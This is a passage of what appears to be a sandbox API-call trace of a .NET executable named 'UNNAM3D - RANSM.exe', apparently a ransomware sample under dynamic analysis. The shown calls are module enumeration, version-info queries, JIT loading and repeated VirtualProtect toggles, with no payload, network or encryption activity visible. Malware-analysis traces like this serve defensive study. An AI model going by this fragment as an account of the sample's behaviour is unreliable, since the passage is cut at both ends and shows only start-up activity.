hModule=0x77920000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0034.508] CoTaskMemFree (pv=0x9ac358) [0034.508] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.508] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x77920000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0034.508] CoTaskMemFree (pv=0x9ac358) [0034.508] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74550000, lpmodinfo=0x2580458, cb=0xc | out: lpmodinfo=0x2580458*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0034.508] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.508] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74550000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0034.508] CoTaskMemFree (pv=0x9ac358) [0034.508] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.508] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74550000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0034.509] CoTaskMemFree (pv=0x9ac358) [0034.509] GetModuleInformation (in: hProcess=0x2c8, hModule=0x74330000, lpmodinfo=0x2582564, cb=0xc | out: lpmodinfo=0x2582564*(lpBaseOfDll=0x74330000, SizeOfImage=0x80000, EntryPoint=0x74331180)) returned 1 [0034.509] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.509] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x74330000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0034.509] CoTaskMemFree (pv=0x9ac358) [0034.509] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.509] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x74330000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0034.509] CoTaskMemFree (pv=0x9ac358) [0034.509] GetModuleInformation (in: hProcess=0x2c8, hModule=0x75bb0000, lpmodinfo=0x25846a4, cb=0xc | out: lpmodinfo=0x25846a4*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0034.510] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.510] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x75bb0000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0034.510] CoTaskMemFree (pv=0x9ac358) [0034.510] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.510] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x75bb0000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0034.510] CoTaskMemFree (pv=0x9ac358) [0034.510] GetModuleInformation (in: hProcess=0x2c8, hModule=0x71c10000, lpmodinfo=0x25867b8, cb=0xc | out: lpmodinfo=0x25867b8*(lpBaseOfDll=0x71c10000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0034.510] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.510] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x71c10000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0034.510] CoTaskMemFree (pv=0x9ac358) [0034.510] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.510] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x71c10000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0034.511] CoTaskMemFree (pv=0x9ac358) [0034.511] GetModuleInformation (in: hProcess=0x2c8, hModule=0x76180000, lpmodinfo=0x2588a60, cb=0xc | out: lpmodinfo=0x2588a60*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0034.511] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.511] GetModuleBaseNameW (in: hProcess=0x2c8, hModule=0x76180000, lpBaseName=0x9ac358, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0034.511] CoTaskMemFree (pv=0x9ac358) [0034.511] CoTaskMemAlloc (cb=0x804) returned 0x9ac358 [0034.511] GetModuleFileNameExW (in: hProcess=0x2c8, hModule=0x76180000, lpFilename=0x9ac358, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0034.511] CoTaskMemFree (pv=0x9ac358) [0034.512] CloseHandle (hObject=0x2c8) returned 1 [0034.537] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x73c980 | out: phkResult=0x73c980*=0x0) returned 0x2 [0034.537] RegCloseKey (hKey=0x80000002) returned 0x0 [0034.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", nBufferLength=0x105, lpBuffer=0x73cbfc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpFilePart=0x0) returned 0x38 [0034.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73d0b0) returned 1 [0034.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), fInfoLevelId=0x0, lpFileInformation=0x73d12c | out: lpFileInformation=0x73d12c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795c1cb6, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x795c1cb6, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x795c1cb6, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7faa0)) returned 1 [0034.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73d0ac) returned 1 [0034.543] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpdwHandle=0x73d1a0 | out: lpdwHandle=0x73d1a0) returned 0x814 [0034.543] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", dwHandle=0x0, dwLen=0x814, lpData=0x258c0fc | out: lpData=0x258c0fc) returned 1 [0034.544] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x73d174, puLen=0x73d170 | out: lplpBuffer=0x73d174*=0x258c500, puLen=0x73d170) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c1b4, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c208, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c284, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c2ec, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c328, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c3b0, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c3e8, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c440, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c470, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x0, puLen=0x73d0f0) returned 0 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x258c4ac, puLen=0x73d0f0) returned 1 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x73d0f4, puLen=0x73d0f0 | out: lplpBuffer=0x73d0f4*=0x0, puLen=0x73d0f0) returned 0 [0034.547] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x73d0e8, puLen=0x73d0e4 | out: lplpBuffer=0x73d0e8*=0x258c500, puLen=0x73d0e4) returned 1 [0034.548] VerLanguageNameW (in: wLang=0x409, szLang=0x73ce78, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0034.566] VerQueryValueW (in: pBlock=0x258c0fc, lpSubBlock="\\", lplpBuffer=0x73d0f8, puLen=0x73d0f4 | out: lplpBuffer=0x73d0f8*=0x258c124, puLen=0x73d0f4) returned 1 [0034.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73cbc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0034.613] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73cbc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0034.641] VirtualProtect (in: lpAddress=0xd207c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.670] VirtualProtect (in: lpAddress=0xd207c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.670] VirtualProtect (in: lpAddress=0xd2094, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.670] VirtualProtect (in: lpAddress=0xd2094, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.671] VirtualProtect (in: lpAddress=0xd20cc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.671] VirtualProtect (in: lpAddress=0xd20cc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.671] VirtualProtect (in: lpAddress=0xd20e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.671] VirtualProtect (in: lpAddress=0xd20e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.672] VirtualProtect (in: lpAddress=0xd2104, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.672] VirtualProtect (in: lpAddress=0xd2104, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.672] VirtualProtect (in: lpAddress=0xd2114, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.673] VirtualProtect (in: lpAddress=0xd2114, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.673] VirtualProtect (in: lpAddress=0xd2124, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.673] VirtualProtect (in: lpAddress=0xd2124, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.673] VirtualProtect (in: lpAddress=0xd2184, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.673] VirtualProtect (in: lpAddress=0xd2184, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.674] VirtualProtect (in: lpAddress=0xd2194, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.674] VirtualProtect (in: lpAddress=0xd2194, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.674] VirtualProtect (in: lpAddress=0xd21ac, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.674] VirtualProtect (in: lpAddress=0xd21ac, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.675] VirtualProtect (in: lpAddress=0xd21c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.675] VirtualProtect (in: lpAddress=0xd21c0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.675] VirtualProtect (in: lpAddress=0xd21c8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.675] VirtualProtect (in: lpAddress=0xd21c8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.676] VirtualProtect (in: lpAddress=0xd21e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.676] VirtualProtect (in: lpAddress=0xd21e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.676] VirtualProtect (in: lpAddress=0xd21e8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.676] VirtualProtect (in: lpAddress=0xd21e8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.676] VirtualProtect (in: lpAddress=0xd2244, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.677] VirtualProtect (in: lpAddress=0xd2244, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.677] VirtualProtect (in: lpAddress=0xd2254, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.677] VirtualProtect (in: lpAddress=0xd2254, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.677] VirtualProtect (in: lpAddress=0xd226c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.678] VirtualProtect (in: lpAddress=0xd226c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.678] VirtualProtect (in: lpAddress=0xd227c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.678] VirtualProtect (in: lpAddress=0xd227c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.678] VirtualProtect (in: lpAddress=0xd2298, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.679] VirtualProtect (in: lpAddress=0xd2298, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.679] VirtualProtect (in: lpAddress=0xd22d8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.679] VirtualProtect (in: lpAddress=0xd22d8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.679] VirtualProtect (in: lpAddress=0xe1058, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.680] VirtualProtect (in: lpAddress=0xe1058, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.680] VirtualProtect (in: lpAddress=0xe4a04, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.680] VirtualProtect (in: lpAddress=0xe4a04, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.680] VirtualProtect (in: lpAddress=0xe4a14, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.784] VirtualProtect (in: lpAddress=0xe4a14, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.784] VirtualProtect (in: lpAddress=0xe4a24, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.784] VirtualProtect (in: lpAddress=0xe4a24, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.784] VirtualProtect (in: lpAddress=0xe4a34, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.785] VirtualProtect (in: lpAddress=0xe4a34, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.785] VirtualProtect (in: lpAddress=0xe4a44, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.785] VirtualProtect (in: lpAddress=0xe4a44, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.785] VirtualProtect (in: lpAddress=0xe4a54, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.786] VirtualProtect (in: lpAddress=0xe4a54, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.786] VirtualProtect (in: lpAddress=0xe4a64, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.786] VirtualProtect (in: lpAddress=0xe4a64, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.786] VirtualProtect (in: lpAddress=0xe4a74, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.786] VirtualProtect (in: lpAddress=0xe4a74, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.787] VirtualProtect (in: lpAddress=0xe4a84, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.787] VirtualProtect (in: lpAddress=0xe4a84, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.787] VirtualProtect (in: lpAddress=0xe4aa4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.787] VirtualProtect (in: lpAddress=0xe4aa4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.788] VirtualProtect (in: lpAddress=0xe4ab4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.788] VirtualProtect (in: lpAddress=0xe4ab4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.788] VirtualProtect (in: lpAddress=0xe4abc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.788] VirtualProtect (in: lpAddress=0xe4abc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.789] VirtualProtect (in: lpAddress=0xe4ac4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.789] VirtualProtect (in: lpAddress=0xe4ac4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.789] VirtualProtect (in: lpAddress=0xe4ae4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.789] VirtualProtect (in: lpAddress=0xe4ae4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.790] VirtualProtect (in: lpAddress=0xe4af4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.790] VirtualProtect (in: lpAddress=0xe4af4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.791] VirtualProtect (in: lpAddress=0xe4b14, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.791] VirtualProtect (in: lpAddress=0xe4b14, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.791] VirtualProtect (in: lpAddress=0xe4b24, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.791] VirtualProtect (in: lpAddress=0xe4b24, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.791] VirtualProtect (in: lpAddress=0xe4b34, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x2) returned 1 [0034.792] VirtualProtect (in: lpAddress=0xe4b34, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x73e3a8 | out: lpflOldProtect=0x73e3a8*=0x4) returned 1 [0034.814] LoadLibraryA (lpLibFileName="mscorjit.dll") returned 0x0 [0034.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clrjit.dll", cchWideChar=10, lpMultiByteStr=0x73d14c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clrjit.dll¹", lpUsedDefaultChar=0x0) returned 10 [0034.841] LoadLibraryA (lpLibFileName="clrjit.dll") returned 0x74330000 [0034.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="getJit", cchWideChar=6, lpMultiByteStr=0x73d148, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getJit¹", lpUsedDefaultChar=0x0) returned 6 [0034.849] GetProcAddress (hModule=0x74330000, lpProcName="getJit") returned 0x74383d60 [0034.896] GetCurrentProcessId () returned 0xe64 [0034.896] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe64) returned 0xe4 [0034.896] EnumProcessModules (in: hProcess=0xe4, lphModule=0x259662c, cb=0x100, lpcbNeeded=0x73d164 | out: lphModule=0x259662c, lpcbNeeded=0x73d164) returned 1 [0034.897] GetModuleInformation (in: hProcess=0xe4, hModule=0xd0000, lpmodinfo=0x259676c, cb=0xc | out: lpmodinfo=0x259676c*(lpBaseOfDll=0xd0000, SizeOfImage=0x2c6000, EntryPoint=0x0)) returned 1 [0034.897] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.897] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0xd0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="UNNAM3D - RANSM.exe") returned 0x13 [0034.897] CoTaskMemFree (pv=0x9af208) [0034.897] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.897] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0xd0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe")) returned 0x2b [0034.897] CoTaskMemFree (pv=0x9af208) [0034.897] GetModuleInformation (in: hProcess=0xe4, hModule=0x77bb0000, lpmodinfo=0x25988bc, cb=0xc | out: lpmodinfo=0x25988bc*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0034.897] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.897] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x77bb0000, lpBaseName=0x9af208, 